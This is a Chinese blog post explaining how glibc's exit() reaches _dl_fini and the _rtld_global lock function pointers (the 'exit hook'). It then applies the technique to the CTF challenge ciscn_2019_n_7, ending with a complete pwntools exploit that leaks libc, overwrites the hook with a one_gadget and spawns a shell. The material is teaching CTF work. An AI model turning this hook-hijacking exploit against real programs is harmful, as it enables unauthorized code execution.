浅谈exit函数的利用方式之一——exit hook

众所周知(雾),一个Linux程序的执行流程应当如下图所示…

0x00.exit hook浅析

start with some basis…

虽然在我们初学编程时老师都会说一个程序的入口点是main函数,但实际上main函数只是用户代码的入口点,在Linux下一个程序真正的入口点是_start()函数

在该函数中会调用__libc_start_main()函数,这个函数会调用__libc_csu_init()函数进行一系列的初始化工作,之后才会调用main函数,来到用户代码空间

同样的,无论用户代码中是否调用exit()函数,在用户代码结束后程序都会缺省调用exit函数

something about __libc_start_main()…

考虑如下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
/* Note: the fini parameter is ignored here for shared library.  It
is registered with __cxa_atexit. This had the disadvantage that
finalizers were called in more than one place. */
STATIC int
LIBC_START_MAIN (int (*main) (int, char **, char ** MAIN_AUXVEC_DECL),
int argc, char **argv,
#ifdef LIBC_START_MAIN_AUXVEC_ARG
ElfW(auxv_t) *auxvec,
#endif
__typeof (main) init,
void (*fini) (void),
void (*rtld_fini) (void), void *stack_end)
{
/* Result of the 'main' function. */
int result;
...
#else
/* Nothing fancy, just call the function. */
result = main (argc, argv, __environ MAIN_AUXVEC_PARAM);
#endif

exit (result);
}

该段代码为__libc_start_main()函数的部分代码,该函数定义于csu/libc-start.c中

我们不难从中看出,当一个程序结束的时候,都会缺省调用exit()函数

what is exit() ?

exit()函数定义于stdlib/exit.c中,如下:

1
2
3
4
5
6
void
exit (int status)
{
__run_exit_handlers (status, &__exit_funcs, true, true);
}
libc_hidden_def (exit)

依旧是libc中常见的套娃函数,其调用了__run_exit_handlers()函数,我们继续对齐跟进

该函数同样定义于stdlib/exit.c中,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
void
attribute_hidden
__run_exit_handlers (int status, struct exit_function_list **listp,
bool run_list_atexit, bool run_dtors)
{
/* First, call the TLS destructors. */
#ifndef SHARED
if (&__call_tls_dtors != NULL)
#endif
if (run_dtors)
__call_tls_dtors ();

/* We do it this way to handle recursive calls to exit () made by
the functions registered with `atexit' and `on_exit'. We call
everyone on the list and use the status value in the last
exit (). */
while (true)
{
struct exit_function_list *cur;

__libc_lock_lock (__exit_funcs_lock);

restart:
cur = *listp;

if (cur == NULL)
{
/* Exit processing complete. We will not allow any more
atexit/on_exit registrations. */
__exit_funcs_done = true;
__libc_lock_unlock (__exit_funcs_lock);
break;
}

while (cur->idx > 0)
{
struct exit_function *const f = &cur->fns[--cur->idx];
const uint64_t new_exitfn_called = __new_exitfn_called;

/* Unlock the list while we call a foreign function. */
__libc_lock_unlock (__exit_funcs_lock);
switch (f->flavor)
{
void (*atfct) (void);
void (*onfct) (int status, void *arg);
void (*cxafct) (void *arg, int status);

case ef_free:
case ef_us:
break;
case ef_on:
onfct = f->func.on.fn;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (onfct);
#endif
onfct (status, f->func.on.arg);
break;
case ef_at:
atfct = f->func.at;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (atfct);
#endif
atfct ();
break;
case ef_cxa:
/* To avoid dlclose/exit race calling cxafct twice (BZ 22180),
we must mark this function as ef_free. */
f->flavor = ef_free;
cxafct = f->func.cxa.fn;
#ifdef PTR_DEMANGLE
PTR_DEMANGLE (cxafct);
#endif
cxafct (f->func.cxa.arg, status);
break;
}
/* Re-lock again before looking at global state. */
__libc_lock_lock (__exit_funcs_lock);

if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called))
/* The last exit function, or another thread, has registered
more exit functions. Start the loop over. */
goto restart;
}

*listp = cur->next;
if (*listp != NULL)
/* Don't free the last element in the chain, this is the statically
allocate element. */
free (cur);

__libc_lock_unlock (__exit_funcs_lock);
}

if (run_list_atexit)
RUN_HOOK (__libc_atexit, ());

_exit (status);
}

该函数经过一系列的处理之后最终会调用_exit()函数,通过系统调用exit结束进程的生命

pwn! the exit hook

观察到于该函数中有三个函数指针:atfctonfctcxafct,分别会根据listp(上层函数传参静态指针__exit_funcs,指向exit_function_list类型结构体静态变量initial,exit_function_list结构体中有着32个exit_function结构体变量,该类型结构体使用联合体的方式储存三种函数指针,进程中的所有exit_function_list链接成一单向链表)中不同的exit_function的flavor的不同值调用不同的函数指针

使用gdb进行动态调试,我们可以发现其调用的其中一个函数为_dl_fini()

该函数定义于elf/dl-fini.c中,我们主要关注如下部分代码:

1
2
3
4
5
6
7
8
9
10
void
_dl_fini (void)
{
...
for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns)
{
/* Protect against concurrent loads and unloads. */
__rtld_lock_lock_recursive (GL(dl_load_lock));
...
__rtld_lock_unlock_recursive (GL(dl_load_lock));

在这里用到了两个宏__rtld_lock_lock_recursive__rtld_lock_unlock_recursive,其定义于sysdeps/nptl/libc-lockP.h中,如下:

1
2
3
4
5
6
7
#ifdef SHARED
...
# define __rtld_lock_lock_recursive(NAME) \
GL(dl_rtld_lock_recursive) (&(NAME).mutex)

# define __rtld_lock_unlock_recursive(NAME) \
GL(dl_rtld_unlock_recursive) (&(NAME).mutex)

这里用到了一个宏GL(),该宏定义于sysdeps/generic/ldsodefs.h中,如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
#ifndef SHARED
# define EXTERN extern
# define GL(name) _##name
#else
# define EXTERN
# if IS_IN (rtld)
# define GL(name) _rtld_local._##name
# else
# define GL(name) _rtld_global._##name
# endif
struct rtld_global
{
#endif

在define SHARED之后有两个分支:_rtld_local_rtld_global,这里我们暂且不深究细节,使用gdb进行调试我们可以发现对于主线程而言_rtld_local就是_rtld_global

最终我们进行宏展开可得如下结果:

1
2
_rtld_global._dl_rtld_lock_recursive(&(_rtld_global._dl_load_lock).mutex)
_rtld_global._dl_rtld_unlock_recursive(&(_rtld_global._dl_load_lock).mutex)

即在这里会调用_rtld_global结构体中的两个函数指针_dl_rtld_lock_recursive与_dl_rtld_unlock_recursive,这就是我们所常说的exit hook

使用gdb调试我们可以计算出其相对于libc基址的偏移,这里便不再赘叙

something more…

需要注意的是在glibc2.31及以后的版本中exit函数不会再调用_dl_fini函数,对于exit hook的利用失效

注意到exit()函数中还调用了 _IO_flush_all_lockp ()函数,这为我们提供了另一种利用exit函数get shell的解法——FSOP,笔者将在后面的博客中进行解析~

0x01.实战: ciscn_2019_n_7 - exit_hook hijact + one_gadget

惯例的checksec,保 护 全 开(噔 噔 咚

image.png

拖入IDA进行分析,可知该程序有着分配、编辑、打印堆块的功能

但是我们仅能够分配一个堆块,且无法释放堆块

漏洞点在于创建/编辑堆块时输入作者姓名时存在溢出,可以覆写掉与其相邻的堆块指针,在接下来的编辑中我们便可以实现任意地址写

同时,输入666则可直接泄露libc地址

解法:劫持exit_hook

前面我们讲到,由于程序退出时必定会调用exit()函数,故考虑劫持exit_hook为one_gadget后退出程序即可get shell

需要注意的一点是在计算_rtld_global的相对偏移时,由于libc中同名函数的存在,导致ELF.sym不可用,此处需要我们手动调试算出相对偏移(似乎这个结构体不在libc而在ld中,等笔者有时间再进一步研究)

libc2.23下偏移为0x5f0040,两个hook的偏移为3848和3850

构造exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *
#context.log_level = 'DEBUG'
p = process('./ciscn_2019_n_7')#remote('node3.buuoj.cn', 26348)
libc = ELF('/lib/x86_64-linux-gnu/libc-2.31.so')#ELF('./libc-2.23.so')
one_gadget = 0xf1147
p.recv()
p.sendline(b'666')
puts_addr = int((p.recvuntil(b'\n', drop = True)), 16)
libc_base = puts_addr - libc.sym['puts']
log.info('libc leak: ' + str(hex(libc_base)))
p.recvuntil(b"Your choice-> ")
p.sendline(b'1')
p.recvuntil(b"Input string Length: ")
p.sendline(str(0x100).encode())
p.recvuntil(b"Author name:")
p.send(b'AAAAAAAA' + p64(libc_base + 0x5f0040+3848))
p.recvuntil(b"Your choice-> ")
p.sendline(b'2')
p.recvuntil(b"New Author name:")
p.send(b'AAAAAAAA')
p.recvuntil(b"New contents:")
p.send(p64(libc_base + one_gadget)*2)
p.sendline('5')
p.interactive()

运行即可get shell~

image.png

Posted on

2021-01-21

Updated on

2023-02-05

Licensed under

Comments

:D 一言句子获取中...

Loading...Wait a Minute!